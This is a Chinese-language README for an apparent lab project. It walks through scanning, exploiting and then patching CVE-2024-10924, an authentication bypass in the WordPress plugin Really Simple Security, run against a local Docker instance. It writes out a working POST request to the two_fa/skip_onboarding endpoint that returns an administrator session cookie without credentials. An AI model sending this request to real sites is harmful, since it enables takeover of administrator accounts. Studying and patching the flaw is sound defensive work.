CVE-2024-10924

CVE-2024-10924 - Really Simple Security中的认证绕过漏洞

概述 本项目演示了CVE-2024-10924的利用与缓解措施，该漏洞是WordPress插件“Really Simple Security”中的一个严重认证绕过漏洞。

步骤1：环境搭建

启动易受攻击的WordPress环境： cd wordpress-really-simple-security-authn-bypass-vulnerable-application docker-compose up -d

验证容器正在运行： docker ps

访问WordPress： http://localhost:1337

所需工具：

• Python 3.x（用于自动化利用）
• Burp Suite（用于手动利用）
• GVM（Greenbone漏洞管理）用于扫描

步骤2：漏洞扫描

对目标运行GVM扫描：

• 目标：http://localhost:1337
• 预期结果：检测到CVE-2024-10924
• 严重性：严重（CVSS 9.8）
• 脆弱端点：/reallysimplessl/v1/two_fa/skip_onboarding

步骤3：利用

方法A - 自动化Python利用： python exploit.py

方法B - 手动Burp Suite：

1. 拦截发往 http://localhost:1337 的流量

2. 发送POST请求： POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1 Host: localhost:1337 Content-Type: application/json

   {"user_id": 1, "login_nonce": "hack", "redirect_to": "/wp-admin/"}

3. 观察响应，其中包含Set-Cookie头，包含管理员会话

预期结果：

• 状态：200 OK
• 返回管理员会话Cookie
• 无需凭证，成功绕过

步骤4：缓解措施

应用补丁以阻止脆弱端点： .\patch.ps1

功能：

• 将mitigation.php复制到容器的/wp-content/mu-plugins/目录
• 阻止所有对脆弱REST API端点的请求
• 对利用尝试返回403禁止访问

步骤5：验证

重新运行利用（方法A或B）： python exploit.py

缓解后的预期结果：

• 状态：403禁止访问
• 未返回管理员Cookie
• 攻击成功被阻止

附加说明

停止环境： docker-compose down

查看容器日志： docker-compose logs -f

合法访问WordPress管理后台： http://localhost:1337/wp-admin （检查docker-compose.yml中的凭据）